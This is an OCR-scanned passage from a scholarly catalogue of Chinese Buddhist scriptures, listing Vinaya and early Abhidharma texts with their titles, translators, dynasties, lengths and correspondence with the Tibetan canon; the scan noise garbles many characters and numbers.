-21Sutra on the original action of the garland 'of the Bodhi: ttva,'Translated by Ku Fo-nien, of the Latter Tshindynasty, A. D. 3 84-417. 2 fas ciculi; 8 chapters. Itagrees with Tibetan. . K'-Yuen-lu, fasc. 8, fol. 7 b.109 3 t * 41Fo-shwo-sheu-shi-shan-kih-kift.' 'SAtiis spoken by 'Buddha on receiving the ten good Silas orthe Sikshii,pada:Translated under the Eastern Mtn dynasty, A. D.. 25-220; but the translator's name is lost. t fasciculus;2 chapters. Deest in Tibetan. K'-yuen,lu,c. 8,fol. 7 b.109 4 fiAl PkA% Fo-shwo-tsill-yeh-kan-kin. Buddhabhashita-karmtivarana-visuddhi-siitra:liarmivarana-visuddhi-mahiyana-stara.K'-yuen-lu, fasc. 8, fol. 7 a; A. R. , p. 458; A. M. G. ,p. 262' . Translated under the (three) Tshin dynasties,A. D. 3 50-43 1; but the translator's name is lost.t Fasciculus. It agrees with Tibetan. K'-yuen-lu, s. v.109 501 It%'Buddhapitaka-sAtra:Buddhapitaka-nigrallanAma-mahttyfina-sfitra.K'-yuen-lu, fasc. 8, fol. 8 a; Cone. x76. Cf. A. B. ,p. 458; A. M. G. , p. 263 . Translated by Kurniragiva,A. D. 405, of the- Latter Tshin dynasty, A. D. 3 84-417.4 faseiculi; to chapters. It agrees with Tibetan.s. v.1 096Phu-sa-ki8-pan-kin. .'Bodhisattvalratimokshapfultra:Spoken by the Bodhisattva Maitreya. Translated byDharmaraksha, A. D. 414-421, of the Northerndynasty, A. D. 3 9 7-43 9 . 12 leaves. This is an earliertranslation of Nos. 1083 and 109 8. K'-yuen-lu,fasc. 8, fol. 8 a; fasc. 3 2, fol. 13 a.The following two works were translated by Hhaen-441 (Biouen-thsang), A. D. 649 , of the Thu' dynasty,4, D. 6I109 7 VEnAt a.Phu-sa-ki-ki8-mo-wan.'Aocaupositiou or treatise on the Bodhisattva's Sila-karma,'Spoken by the Bodhisattva Maitreya. 7 leaves;3 parts. This is an extract from No. IK'- tsi,fasc. 3 2, fol. 12 b.109 8Phu-s-ki-pan.' Bodhisattva-pratinaoksha:Spoken by the Bodhisattva Maitreya. t fasciculus.This translation was made in A. D. 649 , and it is similarto Nos. 1083 , io9 6, and a portion of the fifth part onthe Bodhisattva-bhmi in the first division of No.r,
g3 Til243: VINAYA-PITAJKA. 244109 9 PO ^ ^ ^ ^Fo-shwo-f-liih-s an-mi=kiii.' Buddhabiiashita-vinayasamadlii-sfltra. 'Translated by K' Khien, A. D. 223 -253 , of the Wudynasty, A. D, 222-280. 9 leaves.1100
+ At a ?inL;'Fo-shwo-Shi shn-yeh-tao-ki. Buddhabhashita -dasabhadrakarmamrarga-s{ttra. 'Translated by S'ikshnanda, A. D. 69 5-70o, of theThri dynasty, A. D. 618-9 07 . 7 leaves.1101 {IL 1Tshi- tain-phi-ni=f-kw-ki.' Suddbavinaya-vaipulya-sutra.Paramrthasamvarti (-varta?)-satyanirde^ anama-mahyana-stra.Cf. Nos. 1084, 1089 , of which this is a similartranslation. Translated by Kumragva, A. D. 401-409 ,of the Latter Tshin dynasty, A. D. 3 84-417. , i, fan-ciulus.1102 AMA'Phu-sa-wu-fa-khan-hwui-kin.' Bodhisattva-pafikadharma-kshaina (? confession)-sutra. 'Translated under the Liii dynasty, A. D. 502-557;but the translator's name is lost. 2 leaves.1103 M' Bodhisattva-pitaka-s tra,'Translated by Saiighapla, A. D. 506-520, of theLi dynasty, A. D. 502-557. I I leaves.The following two works were translated by NiehTo-kan, A. D. 280-3 15, of the Western Tsin dynasty,A. D. 2 65- 31 6 :-- -1104 A'*San-man-tho-fu-tho-lo-phu- sa-kiii.'8amantabhadra-bodhisattva-sutra. '8 leaves ; 6 chapters.1105Phu-sa-sheu-ki-kill.'antra on the Bodhisattva's receiving or obs erving the Upavasathaor Uposhadha fast. '3 leaves. For the word Uposhadha, see Childers'Pli Dictionary, p. 53 5 a, s. v. Uposatha.1106 *Sh-li-fu-hwui-kwo-kill.' Saripittra-kshama (? confession)-sutra'Triskandhaka.K'- Yuen-lu, fasc. 8, fol. io a; Cone. 48 ; A. R. ,p. 47 0 ; A. M. G. , p. 274. Translated by In Shi-ko,A. D. 148I 7o, of the Eastern Han dynasty, A. D. 25-220.6 leaves. This is an earlier and shorter translation ofNos. 109 0 and 1103 . K'-tain, fasc. 3 2, fol. i i b.245VINAYA-PITAKA. 246PART II.Siao-shan-hih, or the Vinaya of the Ilinayina.1 1 07fa 14 Pit *Buddhabhidharma-stitra. 'Translated by Paramartha, A. D. 557-569 , of theKhan dynasty, A. D, 557-589 . 2 fasciculi ; 2 chapters.Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 8 a.1108Pratimoksha'-siltra,' of the K&syaptya-nikutya.Pratiinoksha-vinaya (or -sfltra ?). .Conc. 277. Translated by Gautama Piaggfiruki,A. D. 543 , of the Eastern NM. , dynasty, A. D. 53 4-550.x fasciculus. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 14 a.1109 'ffiri Pal.Translated by Ts-kh Kill-Shall, A. D. 455, of theearlier Sun dynasty, A. D. 420-479 . 4 leaves.1112 'a git 4E. 41'Milt spoken by Buddha on the lightness and heaviness of thesin of transgressing the Sila. 'Translated by An Shi-kio, A. D. 148-170, of theearlier Han dynasty, A. D. 25-220. 2 leaves. This isan earlier translation of No. 8x7. K'-tsiri, fasc. 3 3 ,fol. 8 a.1113 Ai;Sutra spoken by Buddha on the Sua destroying misfortune. 'Translated by K' /Chien, A. D. 223 -253 , of the Wudynasty, A. D. 222-280. 4 leaves.*1114A A 41Uptdi-paripria4-stitra. 'Translated by Gunavarinan, A. D. 43 1, of the earlierSuit dynasty, A. D. 420-47 9 . 1 fasciculus. It agreeswith Tibetan. K'-yuen-lu, fasc. 8, fol. x5 b, where,this translation is said to have been made by an un-known translator under the Eastern Han dynasty,A. D. 25-220.1110* A' tIP flKan-pan-shwo-yi-tshi. 8-yiu-pu-ki-kin.11filasarvstivAda(-nikaya)-vinaya (or prati-moksha)-gettra. Conc. 255.Pratimoksha-sara (?).A. R. , p. 43 ; A. M. G. , p. 146. Translated by I-tsin,A. D. 710, of the Than dynasty, A. D. 618-9 07.x fasciculus. It agrees with, Tibetan. K'-yuen-lu,face. 8, fol. 13 b.1111 -AAsM`Settra spoken by Buddha on the forbidding precepts of theKAsyapiya(-nik&ya?). 'Fo-shwo-yiu-pho-s6-wu-ki-siafi-kin.Buddhabhashita-upAsaka-pakkastla-rapa-stItra. 'Translated by Gunavarman, A. D. 43 1, of the earlierSun dynasty, A. D. 42o-47 9 . 1 7 leaves.The above four works are , wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 16 b.Datiadhyitya-vinaya,' or 'Vinaya of ten recitations. 'Sarvastivida-virlaya.K'-yuen -1u, fasc. 8, fol. a; Conc. 82. Translatedby Punyatara, together with Kumaragiva, A. D. 404, ofthe Latter Tshin dynasty, A. D. 3 84-417. 65 fasciculi ;adhiAyas or divisions ; 2 9 sections. This is similarto Tibetan, but the latter is shorter. K'-yuen-lu, s. v.For the Tibetan Vinaya, see the Analysis of the Dulvaby Csoma in the Asiatic Researches, vol. xx, especiallyp. 45 seq. That the Tibet Vinaya belongs to theAlahasarvastivadinas is stated by Wassiljew (Buddhis-mus, p. 9 6). ' See Professor Oldenberg's Introductionto the Vinayapitakam, vol. i, p. xlvii, note 1. tut,' R 21115247. VINAYA-PITAKA.according to I-tsi (Nn-hii-ki-kwg-kwhiln, fasc.fol. 8 a), No. ii 15 is not the Vinaya of. the Mlasarv-stivdanikya; for which latter, see No.1116fE fRiBhikshunl-karman,' of the Dharmagupta-nikitya.Compiled by Swai-su, disciple of Hiouen-thsang, ofthe Thbi. dynasty, A. D. 618-9 07. 5 fasciculi. Thisis an extract from No. It agrees with TibetanK'-yuen-lu, fasc. 8, fol. 16 a.1117Sz'-Haturvarga-vinayapitaka.'Dharmagupta-vinaya.Ki-yuen-lu, fase. 8, fol,12 b; Conc. 545. Translatedby Buddhayasas, together with Ku Fo-nien, A. D. 405,of thetatter Tshin dynasty, A. D. 3 84-417. 6o fasciculi;4 vargas or divisions ; 20 skandhas or s'ections. Thisis similar to Tibetan, but the latter is shorter. K' -yuen-lu, s. v.1118 &*R VIAlf Jt*1 1Kan-pan-shwo-yirtshi. 8-yiu-pu-phi-nai-ye.Milks arvastivacia-nikaya-vinaya.Cf. Conc. 258. Tianslated by I-tsin, A. D. 703 , ofthe Than dynasty, A. D. 618-9 07. 5o faseiculi. Deestin Tibetan. ,K'-yuen-lu, fasc. 8, fol. i i b.1119 fff CMahasalIgha (or -saiighikE)- apt.fasc. 8, fol. io b ; Cone. 3 68. Translatedby Buddhabhadra, together with F&-hhien (Fa-hian),A. D. 416, of the Eastern Tsin dynasty, A. D. 3 17-420.46 fasciculi; i8 sections. It agrees , with Tibetan.
K '-yuen-lu, V.1 1 20 a' ,n Vio-Than-wu-th-pu-sz'-'Arevised Karman according to the disposition (of the disciples 3 )in the Katurvarga-vinaya of the Dharmagupta-nikgya. 'Com,piled by Tho-sen, about A. D. 66o, of the Thandynasty, A. b. 618-9 07. 4 faseiculi. This is an extractfrom No. il l7. It ees with Tibetan. . K'-yuen-lu,faso. 8, fol. 16 a.1121tA*Ilt MANIIR*Kan-pan-shwo-yi-tshig-yiu-pu-phi-nai-ye-tsa-sh'. MillasarvastivAda-nikttya. vinaya-samyuktavastu. 'Translated by Lisin, A. D. 710, of the Than dynasty,A. D. 618-9 07. 40 fasciculi ; 8 parts. Deest inTibetan. K'-yuen-lu, fasc. 8, fol. 12 a.1122 &aws. oeMahisasaka-nikaya-pafikavarga-vinaya:Mahisasaka-vinaya.K'-yuen-lu, fasc. 8, fol. I 2 b; Cone. 3 42. Translatedby Buddhagiva, together with Ku Tito-shaii, A. D. 423 424, of the earlier Sun dynasty, A. D. 420-479 .3 o fasciculi; 5 vargas or divisions. This is similar toTibetan, but the latter is, shorter. K'-yuen-lu, s. v.For the contents of No. 1 1 22, see Mr. Beal's letterquoted by Professor Oldenberg in his Introduction tothe Vinayapitakam, vol. i, pp. xlivxlvi.The -following two works were translated byA. D. 710, of the Thin dynasty, A. D. 618-9 07 :1123 tR*RMAffihlt EIKan-pan-shwo-yi-tshi-yiu-pu-phi-nai-ye-po-sab. -sh'.MIllasarvitstivada-nik 6.y a-vinaya7safighabhedakavastu. 'Satghabbedakavastu.S'-yuen-lu, fasc. 8, fol. 19 a; Conc. 261, wherebheda ' is wrongly read pitaka: 20 fasciculi. Itagrees with Tibetan. K'-yuen-lu, s. v.1124 24- MA. 0 ItJst*Kan-pan-shwo-yi-tshi-yiu-pu-pi-khu-ni-phi-nai-ye.Mill arvastivada-nikaya-bhikshuni-vinaya.Cf. Conc. 259 . 20 fasciculi. Deest in Tibetan.K'-yuen-lu, fasc. 8, fol. II b.1 1 25
11 OP)*Shan-ken-phi-pho-shi-liih.Suda,rsana-vibhitshit-vinaya:Vibhasha-vinaya.Cone. 55, 55 a. Translated by Sanghabhadra, A. D.489 , of the Tshi dynasty, A. D. 479 -502. x8 fasciculi.I'EI249 VINAYA-PITAKA. 250According to the r'-yuen-lu (f: :c. 8, fol. z8 a), this issomewhat similar to No. "x 1o9 , though the latter ismuch shorter.1127*ffP 0 0an-pan-sit-pho-to-pu-liih-sh6.4MeltisarviistivAda-nikaya-vinaya-sahgraha.'Sarvastivida-vinaya-sailgraha.fasc. 8, fol. x7 b; Conc. 269 . Compiledby the venerable Ginamitra. Translated by I-tsin,A. I. 700, of the ThAfi dynasty, A. D. 6x8-9 07. 14 fasciculi. It agrees with Tibetan. IZ'-yuen-1u, s2v.RItSz'-Haturvarga(-vinaya)-safigha-karman.'Dharmagupta-llikshu-karman.Conc. 548. . Compiled by Kwfi,i-su, disciple ofHiouen-thsang, of the Thin dynasty, A. D. 6x8-9 07.5 fasciculi; , x7 chapters. this is ,an extract fiomNo. ii x'. - It agrees with Tibetan. Es-yuen-lu, fase. 8,fol. x6 a.1129 IgIOR-124*:::. ,PitKaturvarga(,vinaya)-bhikshuni-karmavalca.'Dharmagmpta-bhikshuni-karman.Cone. 549 . Translated by Gunavarman, A. D. 43 1,-of the earlier Sun dynasty, A. D. 420-479 e fasciculi.This is an extract from No. 1117. Deest in Tibetan.K'-yuen-lu, fasc. 8, fol. x5 b.kiKig-yin-yuen7kitt.Vinayanidna-stra.Conc. 276. Translated by Ku Fo-nien, A. D. '.of the latter Tshin dynasty, A. D. 04-417, under theFormer Tshin dynasty, A. D. 3 5Q -3 9 4. 10 fasciculi.Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 18 a.113 1 * OF W0 Kan-pan-shwo-yi-tahi-yiu-pu-peti-yi-ki8-mo. --MidasarvistivAdaikaAttakarman.Conc. 257. Translated by I-tsift, A. D. 703 , of theThn dynasty, A. D. 6I8-9 o7 xo fasciculi. Deest inTibetan. fasc. 8, fol. 15, a.0:211)113 2 if-7-PX* 1 4 0/Sa-pho-to-pu-phi-ni-mo-tiih-l-ki.Sarv&stivftda-nikftya-vinaya-mfttrik .Cf. Conc. 442. Translated by Sanghavarnian, A. D.445, of the earlier Sufi dynasty, A. D. 420-479 .xo fasciculi. It agrees with Tibetan. K'-yuen-lu,fasc. 8, fol. 17 b.The following two works were translated by I-tsi,A. D. 703 , of the Thift dynasty, A. D. 618-9 07:113 3 * A' OF Ki lki t*-Mftlasarvastivada-nikiya-nidina. Cf. Conc. 260. 5 fisciculi.113 4 83*4-91 A gli Ng an-Kan-pan-shwo-yi-tshig-yiu-pu-mu-tal-kift.Midasar-Ostivida-nikaya-matrik.Cf. ' Conc. 26o. 5 fasciculi. .The above two works are similar to Tibetan, buethelatter is shorter. Nos. x x x8, I 21, 1124, 113 3 , andx 13 4 are somewhat different from No. x5. . K'-yu'eu,-lu, fase. 8, fol. 12 a. . The following two works were translated under the,three Tshin dynasties, A. D. 3 50-43 1; but the trans-lators' names are lost :pit VcgSa-pho-to-phi-ni-phi-pho-sh.SarvAstivada,vinaya-vibhfisha. COD. C. 502. 8 fasciculi.Ti, 111 1 36 fitilgt1 )'Suh-si-pho-to-phi-ni-phi-pho-sha.Acontinuation of the SarvastivAda-vinaya-vibhAsha. 'x fasciculus.
RPKan-pan-shwo-yi-tshi-yiu-pu-phi-ni-ye-suri.M lasarvstivada-nikya-vinaya-giith.Cf. Conc. 262. 7 Composed by the venerable Vais-khya. Translated by I-tsi, A. D. 710, of th Thandynasty, A. D. 618-9 07. 4 fascicli. It agrees withTibetan. K'-yuen-lu, fasc. 8, fol. 17 a.1144pittShi-sun-liih-phi-ni-sii.' Dasdhyya-vinaya-nidna (?),' or ' the preface to theDasdhyya-vinaya. 'Translated by Vimalkshas, A. D. 405-418, of theEastern Tsin dynasty, A. D. 3 17 -420. 3 fasciculi.This is a continuaticjn of No. 1115.1145f,'' Sramanera-dasasila (or sikshpada)-dharma-karmavk r a (?). 'Translated under the Eastern Tsin dynasty, A. D.3 1 7-420 ; but the translator's name is lost. 1 fasciculus.. 1146Ki-mo.`Karman,' of the Dharmagupta-nikya.Compiled or translated by Than-ti (Dharmasatya ?),A. D. 254, of the W6i dynasty, A. D. 220-265, 2 fasci-culi ; 9 sections. This is an earlier translation of anextract from No. 1 117.1147 wfeIt-Fo- shwo-t-i-tao-pi-khiu-ni-kin.' Buddhabhashita-mahpragpatt-bhikshuni-stra. 'Translated under the Northern LiS dynasty,. A. D.3 9 7-43 9 ; but the translator's name is lost. 2 fasciculi.1148 Sfl1111 At-.Fo-shwo-znu-lien-wan-ki-lh-ku-wu-pi-khi-k ^th -sh' .-kiit.' Stara spoken by Buddha at the request of Maudgalyyana onSoo light and heavy matters concerning the Vinaya. '253 VINAYA-PITAKA,254Translated under the Eastern Tsin dynasty, A. D.3 17-420; but the translator's name is lost. 2 fasciculi;17 chapters. According to the if '- tsi (fasc. 3 3 ,fol. Io b), this work is doubtful, as it differs from allother works on the Vinaya.The above four works are ' wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 14 b seq.1149 *A4: w1^M4 At 41Kan-pan-shwo-yi-tshi-yiu-pu-pi-khu-ni-ki-ki.Mlasarvstivda (-nikya)-bhikshuni-vinaya (orpratimoksha)-stra. Conc. 256.Bhikshuni-pratimoksha-stra (?).A. R. , p. 43 ; A. M. G. , p. 146. Translated by I-tsi. ii,A. D. 71o, of the Than dynasty, A. D. 618-9 07.2 fasciculi.1 1 50 it -, ,tt ft ftAfA tt i ; 4A^^Pi-khiu-ni-sa-khi-lh-po-lo-thi-mu-kh-ki-ki.^Bhikshuni-sar^ ghikavinaya-pratimoksha-stra. 'Mahsagha-bhikshuni-vinaya.Conc. . 514. Translated by Fa-hhien (Fi-hian), to-gether with Buddhabhadra, A. D. 414, of the EasternTsin dynasty, A. D. 3 17-420. 1 fasciculus.he above t fo works agree with Tibetan. K'-yuen-l, fasc. 8, fo 13 a, b.1 1 51`Sramanerik -sala (or pratimoksha)-sfltra. 'Translated under the Eastern Han dynasty,. A. D.25-220 ; , but the translator's name is lost. 5 leaves.Deest in Tibtan. K'-yue,fasc. 8, fol. 14 b.1152 t ItUSh-li-fu-wan-ki.Sariputra-pariprikkh-stra.Conc. 5o. Translated under the Eastern Tsindynasty, A. D. 3 17-420 ; but the translator's name islost. 12 leaves. It agrees with Tibetan. . K'-yuen-lu,fasc. 8, fol. 15 a.1 1 53Mi-sh-s-ki-mo-pan.Mahissaka-karman.Conc. 3 43 . Compiled by i-thu, about A, D. 700,of the Thii dynasty, A. D. 618-9 07. 2 fasciculi. Thisis an extract from No. 1122. Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 15 b.1154Sz'-fan-ki-pan.' Katurvarga(-vinaya)-pratimoksha,' or Pratimoksha of theDharmagupta-nika.Compiled by Kwdi -su, disciple cf Hiouen-thsang, ofthe Than dynasty, A. D. 618-9 07. 1 fasciculus. Thisis an extract from No. 1117 ; and cf. No. 1155.1155 The same title as No. 7154.Translated by Buddhayasas, A. D. 403 -413 , of theLatter Tshin dynasty, A. D. 3 84-417. I fasciculus.An English translation of No. 1155 is given by Mr.Beal in his Catena of Buddhist Scriptures from theChinese, pp. 206-23 9 .1156-0 ItftkSz'-fan-pi-khiu- ni-ki-pan.`Katurvarga(-vinaya)-bhikshunt-pratimoksha,' or Bhikshuni-pratimoksha of the Dharmagupta-nikyaCompiled by Kwi-su, disciple of Hiouen-thsang, ofthe Th dynasty, A. D. 618-9 07. 2 fasciculi. Thisis an extract from No. 1117.1157,Wu-fan-ki-pan.' Paikavarga(-vinaya)-pratimoksha,' or, Pratimoksha of tileMah9 ssaka-nika.Translated by BuddhagYva, A. D. 423 -424, of theearlier Sun dynasty, A. D. 420-479 . I fasciculus.1 1 58Wu-fan-pi-khiu-ni-ki-pan.Pafikavarga(-vinaya)-bhikshuni-pratimoksha,' or Bhikshuni-pratimoksha of the Mah1ssaka-nikya.Compiled by Mi-hwui, A. D. 522, of the raildynasty, A. D. 502-557.The above two works are extracts from No. 1122.1159 3 i tit * ^Po-lo-thi-mu-kh-sa-khi-ki-pan.Pratimoksha-saiighika-vinayamilla. 'Translated by Buddhabhadra, about A. D. 416, of theEastern Tsin dynasty, A. D. 3 17-42o. I fasciculus.This is an extract from No. 1119 .255VINAYA-PITAKA. 2561160 -FIt*Shi-suit-liih-pi-khiu-ki-pan. Daddhyitya-vinaya-bhikshupratimoksha,' or Pratimoksha ofthe SarvastivAda-nikaya.Pratimoksha-sfltra CO.A. R. , p. 4a; A. M. G. , p. 146. Translated byKunutragiva, about A. D. 404, Of. the i Latter Tshindynasty4 A. D. 3 84-417. x fasciculus.1161 * A -5.Ji 3 te *Dasadhyttya. vinaya-bhikshunt. pratimoksha; or Pratimoksha ofthe Sarvastivada. nikitya.Bhikshuni-pratiraoksha-sfitira(1).A. R. , p. 43 ; A. M. G. , p. 146. Compiled by 11-yin, of the earlier Sufi dynasty, A. D. 420-479 ,fasciculus.1162 *. PEI -agfa STft-sha-mad-pia-yilcig-mo-f& MahasrAmanaikasatakarmav&ka;Translated under the earlier Sun dynasty, A. D. 420,1. 79 ; but the translator's name is lost. z fasciculus.The above three works are extracts from No. x I15.The above nine works agree with Tibetan. If'yuen-lu, fasc. 8, fol. 13 a seq.* Alt 1 1 63 * inThain-wu-tbh-lith-pu-tsi-ki&mo. Dharmagupta-vinaya-nikaya-ssanyukta-karman:CL No. 1146. Translated by Khan Sail-khii (San-ghavarman), A. D. 252, of the WUdynasty, A. D. 220-265. 2 fasciculi.1164 Sramattera-karmavilkit (I). 'Cf. No. 1145. Translated by GUnavarman, A. D. 4. 3 1;of the earlier Sun dynasty,420-479 . leaves. .1165 id) rOfft (for "; ) 3ft(for ts4-kig -wan.Sramatierikft-slia-hheda (fOr eamyukta).vAkftCf. No. up. Translated under the Eastern 'Tsindynasty, A. D. 3 17-420; but the translator's name islost. 5 leaves. For the correction of the fourth cha-racter of the' title, see . 81 -yuen-lu, fasc. 8, fol, x4 b.The above three works are' wanting in Tibetan.K'-yuen-1, s. v.1166 An important use for the Bhikshu concerning the Karman ofthe Dasadhyitya(-vinaya):Compiled by San-khii, of the earlier Sun dynasty,A. D. 429 -479 . x fasciculus; 20 setions. This is anextract from No. x I's. It agrees with Tibetan. K'fasc. 8, fol. z5 a.THIRD DIVISION.Lun-ts, or Abhidharma-pitaka.PART I.Di-shall-11m, or the Abhidharma of the Mahyna.Km-k-pn=zo-po-lo-mi-,iii-lun.Vagra(kkhedika)-prag4aparamita-stra-aastra'Vagrakkhedik-stra-sstra.K'-yuen-lu, fast. 8, fol. 2, 3 a; Conc. 286. This is acommentary. on Nos. 10-15, compiled by the BodhisattvaAsanga. Translated by Dharmagupta, A. D. 59 0-616,of the Sui dynasty, A. D. 589 -618. 3 fasciculi.1168 ;The same title as No. 1167.Cone. 285. This is a commentary on No. I167,compiled by the Bodhisattva Vasubandhu. Translatedby. Bodhiruki; A. D. 5o9 , of the Northern W@i dynasty,A. D. 3 86-53 4. 3 fasciculi. ' This work explains theStra and Asaiiga's verses on it, and makes twenty-seven doubtful questions clear. ' K'-tsili, fasc. 3 4, fol. 9 b.The above two works agree with Tibetan. K'-yuen-lu, fasc. 8, fol. al a, b.1169T-k'- tu-hrn.' Mahapragapramita( -stra)-sastra.This is a commentary on Nos. z (b), 2-4, compiled bythe Bodhisattva Ngrguna. Translated by Kumra-Ova, A. p. 402-405, of the Latter Tshin dynasty, A. D.3 84-41 7 . zoo fasciculi. 'It is stated in the prefaceby San-zui, disciple of the translator, that the Sanskrittext of this Sstra consists of 1 00,000 slokas in verse,or a. corresponding number of syllables in prose; butthe first chapter of the Sstra only is fully translatedin the first 3 4 fasciculi, while an abstract is given ofthe remaining 89 chapters. Deest in Tibetan. .K'-yuen-lu, fasc. 8, fol. 21 b. . No. ,. . a x69 is generally, inshort, called Tit-lun (' great Sstra'), K'4un, or K'-tu-lun.1170*!1IJ 4Y-E8-sh'- ti-lun.Yogkryabhmi-sstra. Conc. 8 76.Saptadasabhmi-sstra-yogkryabhmi.K'-yuen-lu, fam. 8, fol. 26 a. Addressed by the Bodhi-sattva Maitreya (to Asanga). Translated. by Hhtien-kwii (Hiouen-thsang), A. D. 646-647, of the Thridynasty, A. D. 61 8-9 07. zoo fasciculi; 5 divisions;x7 Bhmis in the first division. The Sanskrit textconsists of 40,00o slokas in verse, or a correspondingnumber of syllables in prose. It agrees with Tibetan.K'-yuen-lu, s. v. This is the principal work of theYogagrya school founded by Asanga.1171*Sh-t-shah-lun-shih.' Mahayana&arigraha-8tstra-vyakhya. '48 fasciculi. Deest in Tibetan. K'-yuen-lh, fasc. 9 ,fol. 3 a seq. No. 1171 is a collection of four differenttranslations of two Vyakhys or commentaries onAsaiiga's Mahygnasamparigraba-sstra (Nos. 1183 ,1184, 1247). The following is a list of the fourtranslations :(z) Translation by Hhiien-kwn (Hiouen-thsang),A. D. 647 -649 , of the commentary by the BodhisattvaWu-sin (' without-nature,' or ' Agotra `l'). zo fasciculi(fasc. I-10).(2) Translation by Paramrtha, A. D. 563, of thecommentary by the Bodhisattva Vasubandhu. x8 fas-ciculi (fasc. I 1 -20,4 i-48).(3 ) Translation by Dharmagupta, A. D. 59 0-616, ofthe same commentary as before. . . 10 fasciculi (fasc.21-3 0).S259AI3 . HIDHAB,MA-PITAKA. 260() Translatio. 'y Hhiien-kwas (Hi ouen-thsang),A. D. 648-649 , of the same commentary as before.t o fasciculi (faze. 3 1-40).Thur the latter three works are similar translations,but Paramrtha's version (s) bas an additional partin 8 fasciculi (fase. 41-48).1 1 72Wu-si-s'z'- khan-lun.' Anakfra-kinta-ragas (?)-85,stra,' or ' Sastra on the dust ofdhapeless thought. 'Corr-osed by the Bodhisattva Gina. Translated byParamartha, A. D. 557-569 , of the Khan dynasty, A. D.557-589 . 4 leaves.1173 ''_0 ^ a1111K wn-su --yuen-yuen-lun. ,. lanibanapratyayadhyna-sstra. 'Composed by the Bodhisattva Gina. Translated byHhiien-kwan (Hiouen-thsang), A. D. 657, of the Thiidynasty, A. D. 618-9 07. 3 leaves.The above two works are similar translations, andthey agi ?,e with Tibetan. K'-yuen-lu, fasc. 9 , fol. 9 b.1174weamsKwn-su-yuen-yuen-lun-shih.1ambnapratyayadhyana-sstra-vyttkhy,' i. e. a commentaryon No. 1173 .Compiled by the Bodhisattva Dhar mapla. Trans-lated by I-tsi, A. D. 710, of the Than dynasty, A. D.6 18-9 0 7. II leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 9 , fol. 9 b.11. 75Ti-shaft-kwai-wu-yun-lun.1VLali,yliavaipulya-pahaskandha-sarstra. 'Paiikaskandhavaipulya-sstra.Conc. 574. This is a commentary . on No. a1 76,. compiled by the Bodhisattva Sthitamati. Translatedby Divkara, A. D. 685, of the Than dynasty, A. D. 61 89 07. 1 7 leaves. Deest in Tibetan. K'-yuezr--lu, fasc. 9 ,fol, 8 a,TA-slasl-wu-yun-lun.IVj ah a'yna-pakaskandha-sastra. 'Pa ka,sk and baka-sstra.K'-yuen-lu, fasc. 9 , fol. 3 a ; Cone. 578, Composedby the BodhisattvaVasubandhu. Translated by Hhiien-kwli (Hiouen-thsang), A. D. 647, of the Thai dynasty,A. D. 618-9 07. to leaves. It agrees with Tibetan.K'-yuen-lu, fasc. 9 , fol. 8 a.1 1 77vp'Hhien-yn-sha-kio-lun.Prakaranaryav&lca (?) -sutra,' or ' S&stra on expounding theholy teaching.'Composed by the Bodhisattva Asaga. Translatedby Hhiien-kwii (Hiouen-thsang), A. D. 645-646, of theThan dynasty, A. D. 61 8-907. 20 fasciculi ; i I chapters.This Sstra contains the principles of No. t t 7o.1178 . * 14 T-shad--phi-t-mo-ts,--tsi-lun.' Mah fiy an tbhidharma-samyuktasa iglti-81 stra.'This is a commentary on No. 1 1 99, compiled by theBodhisattva Sthitamati. Translated 'by Hhiien-kwan(Hiouen-thsang), A. D. 646, of the Thin dynasty, A. D.618-9 07. x6 fasciculi.The above two works are wanting in Tibetan. K'-yuen-lu, fasc. 8, fol. 26 b seq.1179 Ku-lun,Madhyamaka-eastra.'Prnyamtila-sstra-tik.K'- yuen-lu, fasc. 8, fol. 27 b; Conc. 71 x. Composed bythe Bodhisattvas Nagrgunas and Nlakakshus (I 'blue-eye,' or Piiigalanetra), the latter explaining 500 versesof the former. Translated by Kumragva, A. D. 409 ,of the Latter Tshin dynasty, A. D. 3 84-417. 4 faseiculi327 chapters. It agrees with Tibetan. K'-yuen-lu, s. v.This is the principal work of the Madhyamika school,founded by Ngrguna,1180 -#PR Shi-ku-phi-pho sh-lun.' Dasabhmi-vibhasha-sAstxa.'This is a commentary on the first two of the tenBhmis in Nos, 87 (chap. 22), 88 (chap. 26), 105, t t o,compiled by the Bodhisattva Ngrguna. Translatedby Kumraglva, about A. D. 405, of the Latter Tshindynasty, A. D. 3 84-417, 15 fasciculi; 3 5 chapters. luthe ninth chapter, Ngrguna explains the doctrine ofAmityus or Amitbha as taught by Buddha in Nos,23 (5), 25, 26, 27, 863 . Ngrguna is therefore lookedupon as the first 'liatriarch after Buddha in teachingthis doctrine. Deest in Tibetan. K'-yawn-lu, fasc. 9 ,fol. t a.d*e
pJ
p1176261ABHIDHARMA-PITAKA. 2621 1 81Phu-thi-tsz'- liai-lun.' Ststra on the provision for (obtaining) the Bodhi.'Composed by the Bodhisattva Ngrguna, andexplained by the Bhikshu svara. Translated byDharmagupta, A. D, 59 0-616, of the Stii dynasty, A. D.589 -618. 6 fasciculi.1 1 82*T-kwn-yen-kin-lun.' Mahlaiikara-sfltra-sstra.'- Strlankra-sstra.K'-yuen-lu, fasc. 9 , fol. 2 a; Conc. 656. Composedby the Bodhisattva Asvaghosha. Translated by Kum. =ragiva, about A. D. 405, of the Latter Tshin dynasty,A. D. 3 84-417. 15 fasciculi. Some extracts from No.1182 are given by Mr. Beal, in his Buddhist Litera-ture in China, pp. 3 1, IoI, 105.1183 iCSh-t-shan-lun.Mahynasamparigraha-sastri.Eitel, Handbook, p. 68 b. Composed by the Bodhi-sattva Asaiiga. Translated by Paratnrtha, A. D. 563 ,of the Khan dynasty, A. D. 557- 589 . 3 fasciculi.1184 The same title as No. 1183 .Translated by Buddhasnta, A. D. 5 31, of the Northern,W6i dynasty, A. D. 3 86-53 4. 2 fasciculi.The above four works agree with Tibetan. Nos. 1 183and 1 184 are similar translations. K'-yuan-lu, fasc. 9 ,fol. 1 b seq.1 1 85
